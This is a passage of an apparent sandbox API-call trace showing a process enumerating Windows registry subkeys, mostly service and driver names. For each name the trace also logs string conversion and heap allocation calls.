Flags=0x8, Size=0x40) returned 0x1de4408 [0260.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4408, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.741] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.741] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.741] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.741] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4de0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.741] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.741] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.741] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.741] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4408, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.742] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4de0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.742] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4408, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.742] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4de0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0260.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.742] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.743] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.743] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.743] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.743] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.743] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4de0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.743] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.743] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.743] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.743] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.743] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.743] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.743] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.743] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0260.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de4de0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.744] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.744] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.744] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.744] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.744] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0260.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de4de0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.745] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de4408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.745] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de4de0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.745] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0260.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.745] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.746] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1de4de0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.746] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.746] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.746] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.746] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0260.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.747] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0260.747] RtlAllocateHeap 